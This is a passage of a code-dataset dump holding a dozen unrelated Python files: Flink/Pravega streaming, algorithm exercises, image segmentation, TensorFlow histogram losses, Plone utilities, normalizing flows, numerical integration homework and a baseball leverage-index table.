'file://{}/pravega-connectors-flink-1.11_2.12-0.10.0-259.612304b-20210818.090839-1.jar'\n .format(get_dependencies_path(), get_dependencies_path()))\n t_env.get_config().get_configuration().set_string('classloader.resolve-order', 'parent-first')\n t_env.get_config().get_configuration().set_integer('python.fn-execution.bundle.size', 1)\n t_env.register_java_function('cluster_serving',\n 'com.intel.analytics.zoo.serving.operator.ClusterServingFunction')\n\n t_env.execute_sql('''\n CREATE TABLE input_table (\n uuid STRING,\n visit_time STRING,\n user_id STRING,\n item_id STRING,\n features STRING\n ) WITH (\n 'connector' = 'pravega',\n 'controller-uri' = 'tcp://localhost:9090',\n 'scope' = 'pravega-scope',\n 'scan.streams' = 'predict-input-stream',\n 'format' = 'csv'\n )\n ''')\n\n t_env.execute_sql('''\n CREATE TABLE write_example (\n uuid STRING,\n data STRING\n ) WITH (\n 'connector' = 'pravega',\n 'controller-uri' = 'tcp://localhost:9090',\n 'scope' = 'pravega-scope',\n 'sink.stream' = 'predict-output-stream',\n 'format' = 'csv'\n )\n ''')\n\n t_env.from_path('input_table').print_schema()\n return [t_env.from_path('input_table')]\n\n\nclass Transformer(flink.FlinkPythonProcessor):\n def __init__(self):\n super().__init__()\n self.model_name = None\n\n def setup(self, execution_context: flink.ExecutionContext):\n self.model_name = execution_context.config['model_info']\n\n def process(self, execution_context: flink.ExecutionContext, input_list: List[Table] = None) -> List[Table]:\n result_table = input_list[0].select('uuid, cluster_serving(uuid, features)')\n return [result_table]\n\n\nclass Sink(flink.FlinkPythonProcessor):\n def process(self, execution_context: flink.ExecutionContext, input_list: List[Table] = None) -> List[Table]:\n print(\"### {} setup done\".format(self.__class__.__name__))\n execution_context.statement_set.add_insert('write_example', input_list[0])\n return []\n","repo_name":"SteNicholas/pravega-hackathon","sub_path":"pravega/workflows/pravega_main/pravega_executor.py","file_name":"pravega_executor.py","file_ext":"py","file_size_in_byte":4710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"43589100735","text":"# 좋은 단어\n# 문자열\n# 2021/08/14 2:20 오전\n\n# 괄호 문제와 같다. 문제의 설명이 부족한 느낌이 들어 아쉬운 부분.\n\nN = int(input())\nwords = [input() for _ in range(N)]\n\ncount = 0\nfor word in words:\n stack = []\n for i in range(len(word)):\n if stack and stack[-1] == word[i]:\n stack.pop()\n else:\n stack.append(word[i])\n\n if not stack:\n count += 1\n\nprint(count)\n\n# ClearTime = 2021/08/14 2:52 오전\n","repo_name":"songkg7/1day-1algorithm","sub_path":"baekjoon/3986.py","file_name":"3986.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"36199799855","text":"with open(\"szachy_przyklad.txt\",\"r\")as f:\n wszystko=f.read().split(\"\\n\\n\")\nliczba_plansz_w_rownowadze=0\nliczba_bierek_na_planszach=[]\nfor plansza in wszystko:\n ilosc_czarnych_figur=0\n ilosc_bialych_figur=0\n znaki_z_planszy=plansza.replace(\"\\n\",\"\")\n for znak in znaki_z_planszy:\n if znak.isupper()==True:\n ilosc_bialych_figur+=1\n if znak.islower()==True:\n ilosc_czarnych_figur+=1\n if ilosc_bialych_figur==ilosc_czarnych_figur:\n liczba_plansz_w_rownowadze+=1\n ilosc_bierek_lacznie=ilosc_czarnych_figur+ilosc_bialych_figur\n liczba_bierek_na_planszach.append(ilosc_bierek_lacznie)\n\nprint(liczba_plansz_w_rownowadze)\nprint(min(liczba_bierek_na_planszach))","repo_name":"kka122/programowanie","sub_path":"matura/matura2023przykladowy_arkusz/zadanie_pierwsze/1.2.py","file_name":"1.2.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"9765374293","text":"from matplotlib import pyplot as plt\r\nimport numpy as np\r\nfrom skimage.filters import threshold_multiotsu\r\nimport cv2\r\nimport glob\r\n\r\n\r\npath = \"C:/Users/aliel/Downloads/Dataset/Dataset/Image_training/normal/*.*\"\r\n\r\nimg_number = 1\r\nfor file in glob.glob(path):\r\n print(file) #just stop here to see all file names printed\r\n img= cv2.imread(file, 0) #now, we can read each file since we have the full path\r\n\r\n if np.mean(img) == 0:\r\n print(\"Image is all black\")\r\n elif np.mean(img) == 255:\r\n print(\"Image is all white\")\r\n #continue\r\n else:\r\n \r\n thresholds = threshold_multiotsu(img, classes=3)\r\n # Digitize (segment) original image into multiple classes.\r\n #np.digitize assign values 0, 1, 2, 3, ... to pixels in each class.\r\n regions = np.digitize(img, bins=thresholds)\r\n plt.imshow(regions)\r\n segm1 = (regions == 0)\r\n segm2 = (regions == 1)\r\n segm3 = (regions == 2)\r\n \r\n all_segments = np.zeros((img.shape[0], img.shape[1], 3)) \r\n all_segments[segm1] = (1,0,0)\r\n all_segments[segm2] = (0,1,0)\r\n all_segments[segm3] = (0,0,1)\r\n #all_segments_cleaned[segm4_closed] = (1,1,0)\r\n\r\n plt.imshow(all_segments)\r\n if img_number < 10:\r\n x= \"00\" + str(img_number)\r\n elif img_number < 100:\r\n x=\"0\" + str(img_number)\r\n else:\r\n x= str(img_number)\r\n \r\n plt.imsave(\"C:/Users/aliel/Downloads/Dataset/Dataset/Image_training/normal/segmented/regions/\"+ x +\"regions\"+\".jpg\", all_segments)\r\n plt.imsave(\"C:/Users/aliel/Downloads/Dataset/Dataset/Image_training/normal/segmented/plume/\"+ x +\"plume\"+\".jpg\", segm1)\r\n #plt.imsave(\"C:/Users/aliel/Downloads/Dataset/Dataset/Image_training/normal/segmented/00\"+str(img_number)+\"plume\"+\".jpg\", segm2)\r\n plt.imsave(\"C:/Users/aliel/Downloads/Dataset/Dataset/Image_training/normal/segmented/spatterpool/\"+ x +\"spatterpool\"+\".jpg\", segm3)\r\n img_number +=1\r\n\r\n \r\n\r\n \r\n\r\n","repo_name":"alieliasu/image-segmentation-with-skip-blank-images","sub_path":"segment-naming-skip.py","file_name":"segment-naming-skip.py","file_ext":"py","file_size_in_byte":2055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"5280122253","text":"import tensorflow as tf\n\n\n@tf.function\ndef calculate_component_histogram(component, projection1, projection2, color_intensities,\n histogram_domain, method, sigma_sqr, epsilon):\n # component (batch, HW)\n # projection1 (batch, HW)\n # projection2 (batch, HW)\n # color_intensities (batch, HW, 1)\n # histogram_domain (1, size), but it can broadcast to (batch, 1, size)\n\n Iu = tf.math.log(component + epsilon) - tf.math.log(projection1 + epsilon) # (batch, HW)\n Iu = tf.expand_dims(Iu, -1) # (batch, HW, 1)\n\n Iv = tf.math.log(component + epsilon) - tf.math.log(projection2 + epsilon) # (batch, HW)\n Iv = tf.expand_dims(Iv, -1) # (batch, HW, 1)\n\n # (batch, HW, 1) - (batch, 1, size) == (batch, HW, size)\n diff_u = tf.pow(Iu - histogram_domain, 2.) / sigma_sqr # (batch, HW, size)\n diff_v = tf.pow(Iv - histogram_domain, 2.) / sigma_sqr # (batch, HW, size)\n if method == \"RBF\":\n diff_u = tf.exp(-diff_u) # radial basis function\n diff_v = tf.exp(-diff_v)\n elif method == \"inverse-quadratic\":\n diff_u = 1. / (1. + diff_u)\n diff_v = 1. / (1. + diff_v)\n\n a = tf.transpose(color_intensities * diff_u, [0, 2, 1]) # [(batch, HW, 1) * (batch, HW, size)]T = (batch, size, HW)\n component_histogram = tf.matmul(a, diff_v) # (batch, size, size)\n\n return component_histogram\n\n\n@tf.function\ndef calculate_rgbuv_histogram(image_batch, size=64, method=\"inverse-quadratic\", sigma=0.02):\n \"\"\"\n Computes the color histogram of an image in a differentiable way.\n Adapted from HistoGAN:\n https://colab.research.google.com/drive/1dAF1_oAQ1c8OMLqlYA5V878pmpcnQ6_9?usp=sharing#scrollTo=mowAqNeraJij\n\n Parameters\n ----------\n image the image for which to compute the histogram\n size the square 2D size of the generated histogram. Default is 64\n method either \"thresholding\" (not differentiable), \"RBF\", or \"inverse-quadratic\". Default is \"inverse-quadratic\"\n sigma the sigma parameter of the kernel function. Default is 0.02\n\n Returns an image of the histogram\n -------\n\n \"\"\"\n epsilon = 1e-6\n sigma_sqr = tf.pow(sigma, 2)\n histogram_domain = tf.expand_dims(tf.linspace(-3., 3., num=size), 0) # (1, size)\n\n # we expect the image in [-1, 1], but the reference impl. needs it [0,1]\n image_batch = image_batch * 0.5 + 0.5\n\n batch_size = tf.shape(image_batch)[0]\n image_batch = image_batch[:, :, :, :3]\n\n # reshapes the image into I so it is a flat list of colors (per image in the batch)\n I = tf.reshape(image_batch, [batch_size, -1, 3]) # (batch, H*W, 3)\n II = tf.pow(I, 2) # (batch, HW, 3)\n Iy = tf.sqrt(II[..., 0] + II[..., 1] + II[..., 2] + epsilon)[..., tf.newaxis] # (batch, HW, 1)\n\n # separates the channels so the log-chroma coordinates u and v can be computed for R, G and B\n red, green, blue = I[..., 0], I[..., 1], I[..., 2] # (batch, HW)\n\n # each is (batch, size, size)\n histogram_r = calculate_component_histogram(red, green, blue, Iy, histogram_domain, method, sigma_sqr, epsilon)\n histogram_g = calculate_component_histogram(green, red, blue, Iy, histogram_domain, method, sigma_sqr, epsilon)\n histogram_b = calculate_component_histogram(blue, red, green, Iy, histogram_domain, method, sigma_sqr, epsilon)\n histograms = tf.stack([histogram_r, histogram_g, histogram_b], -1)\n\n # normalization\n denominator = tf.reduce_sum(histograms, axis=[1, 2, 3], keepdims=True)\n histograms_normalized = histograms / denominator\n\n return histograms_normalized\n\n\ndef hellinger_loss(y_true, y_pred):\n batch_size = tf.cast(tf.shape(y_true)[0], \"float32\")\n # Hellinger distance between the two histograms:\n # 1/sqrt(2) * ||sqrt(H_true) - sqrt(H_pred)||\n return (1. / tf.sqrt(2.) * tf.sqrt(\n tf.reduce_sum(tf.pow(tf.sqrt(y_pred) - tf.sqrt(y_true), 2.)))) / batch_size\n\n\ndef l1_loss(y_true, y_pred):\n return tf.reduce_mean(tf.abs(y_true - y_pred))\n\n\ndef l2_loss(y_true, y_pred):\n return tf.reduce_mean(tf.pow(y_true - y_pred, 2))\n","repo_name":"fegemo/palette-and-histo-gan","sub_path":"histogram.py","file_name":"histogram.py","file_ext":"py","file_size_in_byte":4064,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"9865044181","text":"# -*- coding: utf-8 -*-\n\nfrom imio.actionspanel import ActionsPanelMessageFactory as _\nfrom plone import api\nfrom Products.CMFCore.permissions import View\n\n\ndef unrestrictedRemoveGivenObject(object_to_delete):\n \"\"\"\n This method removes a given object but as a Manager,\n so calling it will have relevant permissions.\n This is done to workaround a strange Zope behaviour where to remove an object,\n the user must have the 'Delete objects' permission on the parent which is not always easy\n to handle. This is called by the 'remove_givenuid' view that does the checks if user\n has at least the 'Delete objects' permission on the p_object_to_delete.\n \"\"\"\n # removes the object\n parent = object_to_delete.aq_inner.aq_parent\n with api.env.adopt_roles(['Manager']):\n parent.manage_delObjects(object_to_delete.getId())\n\n\ndef findViewableURL(context,\n request,\n member=None):\n \"\"\" \"\"\"\n if not member:\n member = api.user.get_current()\n\n redirectToUrl = request.get('HTTP_REFERER')\n\n if not member.has_permission(View, context):\n # add a specific portal_message before redirecting the user\n msg = _('redirected_after_action_not_viewable',\n default='You have been redirect here because the action you '\n 'just made have made thelement no more viewable to you.')\n plone_utils = api.portal.get_tool('plone_utils')\n plone_utils.addPortalMessage(msg, 'warning')\n\n http_referer = request['HTTP_REFERER']\n if not http_referer.startswith(context.absolute_url()):\n # HTTP_REFERER is not the object we have not access to anymore\n # we can redirect to it... probably...\n redirectToUrl = http_referer\n else:\n # if HTTP_REFERER is the object we can not access anymore\n # we will try to find a parent object we can be redirected to\n parent = context.aq_inner.aq_parent\n while (not member.has_permission('View', parent) and\n not parent.meta_type == 'Plone Site'):\n parent = parent.getParentNode()\n redirectToUrl = parent.absolute_url()\n return redirectToUrl\n","repo_name":"IMIO/imio.actionspanel","sub_path":"src/imio/actionspanel/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"23315837814","text":"import itertools\nimport pathlib\nimport warnings\n\nfrom jsonargparse import ArgumentParser, ActionConfigFile, class_from_function\nfrom jsonargparse.typing import PositiveInt\nimport matplotlib.pyplot as plt\nimport pytorch_lightning as pl\nimport torch\n\nfrom torchnf.abc import Transformer\nfrom torchnf.conditioners import MaskedConditioner, SimpleConditioner\nfrom torchnf.model import FlowBasedModel\nfrom torchnf.networks import DenseNetBuilder\nfrom torchnf.flow import FlowLayer, Flow\nfrom torchnf.transformers import Rescaling\nfrom torchnf.utils.datasets import Moons\nfrom torchnf.utils.distribution import diagonal_gaussian\nfrom torchnf.utils.decorators import skip_if_logging_disabled\n\nDEFAULT_CONFIG = pathlib.Path(__file__).with_name(\"default_config.yaml\")\n\nDEFAULT_TRAINER_CONFIG = dict(\n gpus=torch.cuda.device_count(),\n enable_checkpointing=False,\n logger=pl.loggers.TensorBoardLogger(save_dir=\".\", default_hp_metric=False),\n)\n\n# I don't care about how many workers the dataloader has\nwarnings.filterwarnings(\n action=\"ignore\",\n category=pl.utilities.warnings.PossibleUserWarning,\n)\n\n\nclass Model(FlowBasedModel, pl.LightningModule):\n def __init__(self, flow: Flow) -> None:\n super().__init__()\n self.flow = flow\n self.prior = diagonal_gaussian([2])\n\n def configure_optimizers(self):\n optimizer = torch.optim.Adam(self.flow.parameters(), lr=0.001)\n scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(\n optimizer, T_max=self.trainer.max_epochs\n )\n return {\n \"optimizer\": optimizer,\n \"lr_scheduler\": {\n \"scheduler\": scheduler,\n \"interval\": \"epoch\",\n \"frequency\": 1,\n },\n }\n\n def training_step(\n self, batch: list[torch.Tensor], *_, **__\n ) -> torch.Tensor:\n (x,) = batch\n outputs = self.inference_step(x)\n loss = outputs.pop(\"loss\")\n self.log(\"train_loss\", loss)\n return loss\n\n def validation_step(\n self, batch: list[torch.Tensor], *_, **__\n ) -> torch.Tensor:\n (x,) = batch\n outputs = self.inference_step(x)\n loss = outputs.pop(\"loss\")\n self.log(\"val_loss\", loss, on_step=False, on_epoch=True)\n return outputs[\"sample\"]\n\n @skip_if_logging_disabled\n def validation_epoch_end(self, outputs: list[torch.Tensor]):\n \"\"\"Logs a scatterplot of validation outputs.\"\"\"\n z = torch.cat(outputs)\n\n fig, ax = plt.subplots()\n ax.scatter(*z.T)\n self.logger.experiment.add_figure(\n \"Encoded_data\", fig, self.global_step\n )\n\n @skip_if_logging_disabled\n def on_validation_epoch_end(self):\n sample_size = len(self.trainer.datamodule.val_dataset)\n x = self.sample(sample_size)\n fig, ax = plt.subplots()\n ax.scatter(*x.T)\n self.logger.experiment.add_figure(\n \"Decoded_noise\", fig, self.global_step\n )\n\n def test_step(self, batch: list[torch.Tensor], *_, **__) -> torch.Tensor:\n (x,) = batch\n outputs = self.inference_step(x)\n loss = outputs.pop(\"loss\")\n self.log(\"test_loss\", loss, on_step=False, on_epoch=True)\n\n @skip_if_logging_disabled\n def test_epoch_end(self, _) -> None:\n # Log test loss along with hparams for tabular comparison\n self.logger.log_hyperparams(\n self.hparams, metrics=self.trainer.logged_metrics\n )\n\n\ndef make_flow(\n transformer: Transformer,\n net: DenseNetBuilder,\n depth: PositiveInt,\n) -> Flow:\n mask = torch.tensor([True, False], dtype=bool)\n conditioner = lambda mask_: MaskedConditioner( # noqa: E731\n net(1, transformer.n_params), mask_\n )\n layers = [\n FlowLayer(transformer, conditioner(m))\n for _, m in zip(range(depth), itertools.cycle([mask, ~mask]))\n ]\n layers.append(FlowLayer(Rescaling(), SimpleConditioner([0])))\n return Flow(*layers)\n\n\nparser = ArgumentParser(default_config_files=[str(DEFAULT_CONFIG)])\n\nparser.add_argument(\n \"--epochs\", type=PositiveInt, help=\"Number of epochs to train for\"\n)\nparser.add_class_arguments(class_from_function(make_flow), \"flow\")\nparser.add_class_arguments(Moons, \"moons\")\nparser.add_argument(\"-c\", \"--config\", action=ActionConfigFile)\n\n\ndef main(config: dict = {}, trainer_config: dict = {}):\n\n config = parser.parse_object(config) if config else parser.parse_args()\n\n config_as_flat_dict = {\n k: v for k, v in vars(config.as_flat()).items() if \"config\" not in k\n }\n\n config = parser.instantiate_classes(config)\n\n flow, moons, epochs = config.flow, config.moons, config.epochs\n\n model = Model(flow)\n model.save_hyperparameters(config_as_flat_dict)\n\n trainer_config = (\n DEFAULT_TRAINER_CONFIG | {\"max_epochs\": epochs} | trainer_config\n )\n trainer = pl.Trainer(**trainer_config)\n trainer.fit(model, moons)\n\n (metrics,) = trainer.test(model, moons)\n\n return metrics\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"marshrossney/torchnf","sub_path":"examples/moons/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5020,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"70467582628","text":"import torch\nimport torch.nn.functional as F\n\n\ndef stable_kl(logit, target, epsilon=1e-6, reduce=True):\n logit = logit.view(-1, logit.size(-1)).float()\n target = target.view(-1, target.size(-1)).float()\n bs = logit.size(0)\n p = F.log_softmax(logit, 1).exp()\n y = F.log_softmax(target, 1).exp()\n rp = -(1.0/(p + epsilon) -1 + epsilon).detach().log()\n ry = -(1.0/(y + epsilon) -1 + epsilon).detach().log()\n if reduce:\n return (p* (rp - ry) * 2).sum() / bs\n else:\n return (p* (rp - ry) * 2).sum()\n\n\ndef sym_kl(input, target, reduction='batchmean'):\n input = input.float()\n target = target.float()\n left = F.kl_div(\n F.log_softmax(input, dim=-1, dtype=torch.float32),\n F.softmax(target.detach(), dim=-1, dtype=torch.float32),\n reduction=reduction,\n )\n\n right = F.kl_div(\n F.log_softmax(target, dim=-1, dtype=torch.float32),\n F.softmax(input.detach(), dim=-1, dtype=torch.float32),\n reduction=reduction,\n )\n loss = left + right\n return loss\n\n\ndef ns_sym_kl(input, target, reduction='batchmean'):\n input = input.float()\n target = target.float()\n loss = stable_kl(input, target.detach()) + \\\n stable_kl(target, input.detach())\n return loss\n\n\ndef js(input, target, reduction='batchmean'):\n input = input.float()\n target = target.float()\n m = F.softmax(target.detach(), dim=-1, dtype=torch.float32) + \\\n F.softmax(input.detach(), dim=-1, dtype=torch.float32)\n m = 0.5 * m\n loss = F.kl_div(F.log_softmax(input, dim=-1, dtype=torch.float32), m, reduction=reduction) + \\\n F.kl_div(F.log_softmax(target, dim=-1, dtype=torch.float32), m, reduction=reduction)\n return loss\n\n\ndef hl(input, target, reduction='batchmean'):\n input = input.float()\n target = target.float()\n si = F.softmax(target.detach(), dim=-1, dtype=torch.float32).sqrt_()\n st = F.softmax(input.detach(), dim=-1, dtype=torch.float32).sqrt_()\n loss = F.mse_loss(si, st)\n return loss\n\n\nLOSS = {\n 'sym_kl': sym_kl,\n 'ns_sym_kl': ns_sym_kl,\n 'js': js,\n 'hl': hl,\n}","repo_name":"ellenmellon/INSCIT","sub_path":"models/DIALKI/models/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":2119,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"70"} +{"seq_id":"28601294992","text":"def waterPay(cm, wl) :\n \n watercnt = 0\n if cm =='A':\n watercnt = wl*100\n elif cm=='B' :\n if wl<=50 :\n watercnt = wl*150\n else :\n watercnt = 150*50 + (wl-50)*75\n \n else :\n print('옳바른 회사명을 입력해주세요.')\n return 0\n return watercnt\n\ncm = input('회사명을 입력해주세요 : ')\nwl = int(input('물의 사용량을 입력해주세요 : '))\n\nprint(f'사용요금 : {waterPay(cm, wl)}원')","repo_name":"Miyu96/python","sub_path":"day01_4.py","file_name":"day01_4.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"12120329572","text":"import sys\r\nimport os\r\n# 添加目录data_structure_and_algorithm\r\npath = os.path.abspath(os.path.dirname(os.path.dirname(__file__)))\r\nsys.path.append(path)\r\n\r\nfrom save_and_search.association import Assoc #pylint: disable=import-error\r\nfrom save_and_search.BSTree import DictBinTree #pylint: disable=import-error, no-name-in-module\r\nfrom Tree.BinTNode import BinTNode #pylint: disable=import-error, no-name-in-module\r\n\r\nclass DictOptBinTree(DictBinTree):\r\n \"\"\"最佳二叉排序树类\"\"\"\r\n def __init__(self, seq):\r\n DictBinTree.__init__(self)\r\n data = sorted(seq)\r\n self._root = DictOptBinTree.buildOBT(data, 0, len(data)-1)\r\n\r\n @staticmethod\r\n def buildOBT(data, start, end):\r\n \"\"\"简单情况:检索概率相同\"\"\"\r\n if start > end:\r\n return None\r\n \r\n mid = (start+end) // 2\r\n left = DictOptBinTree.buildOBT(data, start, mid-1)\r\n right = DictOptBinTree.buildOBT(data, mid+1, end)\r\n return BinTNode(Assoc(*data[mid]), left, right)\r\n\r\n @staticmethod\r\n def build_opt_btree(wp, wq):\r\n \"\"\"\r\n general case: builds the optimal binary searching tree from wp and wq\r\n params:\r\n wp:list[int] list of n values representing weights of internal nodes\r\n wq:list[int] list of n+1 values representing weights of n+1 external nodes\r\n \"\"\"\r\n num = len(wp) + 1\r\n if len(wq) != num:\r\n raise ValueError(\"Arguments of build_opt_btree are wrong\")\r\n\r\n w, c, r = [[[0]*num for j in range(num)]] * 3\r\n\r\n for i in range(num):\r\n w[i][j] = wq[i]\r\n for j in range(i+1, num):\r\n w[i][j] = w[i][j-1] + wp[j-1] + wq[j]\r\n\r\n for i in range(num-1):\r\n c[i][i+1] = w[i][i+1]\r\n r[i][i+1] = i\r\n\r\n for m in range(2, num):\r\n for i in range(num-m):\r\n k0, j = i, i+m\r\n wmin = float(\"inf\")\r\n \r\n for k in range(i, j):\r\n if c[i][k] + c[k+1][j] < wmin:\r\n wmin = c[i][k] + c[k+1][j]\r\n k0 = k\r\n\r\n c[i][j] = w[i][j] + wmin\r\n r[i][j] = k0\r\n\r\n return c, r\r\n","repo_name":"syntomic/summary","sub_path":"Languages_and_Algorithms/algorithms/data_structures_and_algorithms_in_python/search_and_sort/opt_bin_tree.py","file_name":"opt_bin_tree.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"39741257569","text":"import os\n\ndef Convert(string):\n string.rstrip()\n li = list(string.split(\" \"))\n li = [int(i) for i in li]\n return li\n\ndef min_recursive(list):\n \n if len(list) == 1:\n return list[0]\n \n return min(list[-1], min_recursive(list[:-1]))\n\nn1 = int(input())\nif not(n1):\n print(-1)\nelse:\n l1 = Convert(input())\n output = min_recursive(l1)\n print(l1.index(output), output, sep = '\\n')","repo_name":"smaran-rvu/Sem3_DAA","sub_path":"Interative vs Recursive/Recursive.py","file_name":"Recursive.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"21892849333","text":"#HW5\n#P29: Page 213 Problem 10\nimport numpy as np\nfrom math import *\n\ndef trapezoid(f,a,b,Iold,k):\n #First panel\n if k == 1: Inew = (f(a) + f(b))*(b-a)/2.0\n else:\n #make math readable\n n = 2**(k-2)#num of new points\n h = (b - a)/n#spacing of new points\n x = a + h/2.0\n sum = 0.0\n #Use 6.9a Ik=I_{k-1}/2 + H/2^{k-1}*SUM(f(a+(2i-1)H/(2^{k-1}))\n for i in range(n): \n sum += f(x)\n x += h\n Inew = (Iold + h*sum)/2.0\n return Inew\n\ndef romberg(f,a,b,tol=1.0e-6):\n def richardson(r,k):\n #Extrapolate with \n #R'_j = (4^{k-j}R'_{j+1}-R'_j)/(4^{k-j}-1),j=k-1,k-2,..,1\n for j in range(k-1, 0, -1):\n const = 4.0**(k-j)\n r[j] = (const*r[j+1]-r[j])/(const - 1.0)\n return r\n \n r = np.zeros(21)\n #Mkae first extrapolation based on trapezoid\n r[1] = trapezoid(f,a,b,0.0,1)\n r_old = r[1]#Save it, will be rewritted\n for k in range(2,21):\n #Repeat trap but use previous extrap+integrate\n r[k] = trapezoid(f,a,b,r[k-1],k)\n r = richardson(r,k)#Repeat improved extrapolation\n if abs(r[1]-r_old) < tol*max(abs(r[1]),1.0):#test for tol\n return r[1],2**(k-1)\n r_old = r[1]\n print(\"Romberg quadrature did not converge\")\n\n#Write a function that returns the integration value. \n#It should not take any input and return a single value\n#'x' using (your) romberg.py and trapezold.py modules.\ndef Q29(): \n print(\"+-----+\")\n print(\"| P29 |\")\n print(\"+-----+\") #a, b = 0, pi/4\n #def f(x): return sin(x)**(-1/2)\n a, b = 0.0, sqrt(sqrt(2)/2)#Using t^2=sinx\n def f(t): return 2.0/sqrt(1-t**4)\n return romberg(f, a, b)[0]#Integrate\n\n\n\n#P30: Page 213 Problem 11\ndef Q30():\n a, b = 0, pi/2\n\n print(\"+-----+\")\n print(\"| P30 |\")\n print(\"+-----+\")\n #Integrate with different theta_0\n def f0(x): return (1-sin(0/2)**2*sin(x)**2)**(-1/2)\n print(romberg(f0, a, b))\n def f15(x): return (1-sin((15*pi/180)/2)**2*sin(x)**2)**(-1/2)\n print(romberg(f15, a, b))\n def f30(x): return (1-sin((30*pi/180)/2)**2*sin(x)**2)**(-1/2)\n print(romberg(f30, a, b))\n def f45(x): return (1-sin((45*pi/180)/2)**2*sin(x)**2)**(-1/2)\n print(romberg(f45, a, b))\n\n\n#P31: Page 214 Problem 14\n#Write a function that returns values g(u) in the interval \n#u=0 to u=1.0 in 0.05 increments. You do not\n#need to plot the results for this problem.\ndef Q31():\n g = [0]\n #if u = 0 -> g=0\n def f(x): return x**4*exp(x)/(exp(x)-1)**2 if x != 0 else 0\n for u in np.arange(0.05, 1.05, 0.05):\n g.append(u**3*romberg(f,0,1/u)[0])#make array of g\n\n print(\"+-----+\")\n print(\"| P31 |\")\n print(\"+-----+\")\n print(g)\n#P32: Page 214 Problem 15\n\n#Write a function that returns the value E using the parameters \n#listed in the problem. For this function you should use the \n#recursive trapezoid rule with 1024 panels.\ndef Q32():\n def f(x): return 0.5*(100*exp(-x/0.01)*sin(2*x/0.01))**2\n i0, R, t0 = 100, 0.5, 0.01\n b = -t0*log((10e-8/i0)**2)#go until power is 10e-6% of final val\n told=0\n for k in range(1, 12):\n told = trapezoid(f,0,b,told,k)#integrate to 1024 panels\n\n print(\"+-----+\")\n print(\"| P32 |\")\n print(\"+-----+\")\n print(romberg(f,0,b))\n print(told)\n\n\n#P33: Page 230 Problem 10\ndef gaussNodes(m,tol=1.e-9):\n def legendre(t, m):\n p0, p1 = 1.0, t#inital pols\n for k in range(1,m):\n #legendre poly at t and m using the recurrence in 6.19\n #a_n*phi_{n+1} = (b_n+c_n*x)*phi_n - d_n*phi_{n-1}\n #a_n=n+1,b_n=0,c_n=2n+1,dn=n\n #(n+1)*phi_{n+1} = (2n+1)*x*phi_n - n*phi_{n-1}\n #t=x, k=n\n p=((2.0*k + 1.0)*t*p1 - k*p0)/(1.0 + k)\n p0=p1; p1 = p\n #eq 6.21 -> deriv of legendre poly\n dp = m*(p0 - t*p1)/(1.0 - t**2)\n return p,dp\n\n A, x = np.zeros(m), np.zeros(m)\n #calc num of roots\n nRoots = int((m+1)/2)\n for i in range(nRoots):\n #approx abcissas xi = cos(pi(i+3/4)/(m+1/2)), m=nodes+1\n t = cos(pi*(i+0.75)/(m+0.5))\n for j in range(30):\n p,dp=legendre(t,m)#find pol\n dt = -p/dp#find dt\n t = t+dt\n if abs(dt)>> # Happy path test\n >>> index = StaticTableLeverageIndex('resources/li.csv')\n >>> index.get(7, 'bot', [u'3'], 2, 5, 5)\n 2.6\n >>> # Test when run differential is outside range [-4, +4]\n >>> index.get(7, 'bot', [u'3'], 2, 1, 12) == index.get(7, 'bot', [u'3'], 2, 1, 5)\n True\n >>> index.get(7, 'bot', [u'3'], 2, 12, 1) == index.get(7, 'bot', [u'3'], 2, 5, 1)\n True\n >>> # Test no one on\n >>> index.get(7, 'bot', [], 0, 1, 1)\n 1.5\n >>> # Test extra innings\n >>> index.get(9, 'bot', [], 0, 1, 1) == index.get(12, 'bot', [], 0, 1, 1)\n True\n \"\"\"\n def __init__(self, li_table_filepath):\n # Structure of self.li_table is:\n # self.li_table[inning_num][inning_half][runners_on][outs][run_differential] = leverage_index\n # where runners_on looks like \"_ 2 _\" or \"_ _ _\" or \"1 2 _\"\n self.li_table = self._init_li_table(li_table_filepath)\n\n def _init_li_table(self, li_table_filepath):\n # Fields are: inning_num,inning_half,runners_on,outs,-4,-3,-2,-1,0,+1,+2,+3,+4 where \"-3\" means home team is down by 3\n li_table = defaultdict(lambda: defaultdict(lambda: defaultdict(lambda: defaultdict(list))))\n with open(li_table_filepath, 'r', encoding='utf-8') as f:\n # Skip comment lines starting with '#'\n li_table_csv = csv.reader(filter(lambda row: row[0] != '#', f))\n for row in li_table_csv:\n _3to2list = list(row)\n inning_num, inning_half, runners_on, outs, run_differential, = _3to2list[:4] + [_3to2list[4:]]\n # Convert each run differential key from str to float\n run_differential = list(imap(float, run_differential))\n li_table[int(inning_num)][inning_half][runners_on][int(outs)] = run_differential\n return li_table\n\n def get(self, inning_num, inning_half, runners_on, num_outs, away_score, home_score):\n assert inning_half == u'top' or inning_half == u'bot'\n assert inning_num > 0\n assert len(runners_on) <= 3\n assert 0 <= num_outs and num_outs < 3\n assert away_score >= 0 and home_score >= 0\n return self._get_impl(inning_num, inning_half, runners_on, num_outs, away_score, home_score)\n\n def _get_impl(self, inning_num, inning_half, runners_on, num_outs, away_score, home_score):\n run_differential_index = self._get_run_differential(away_score, 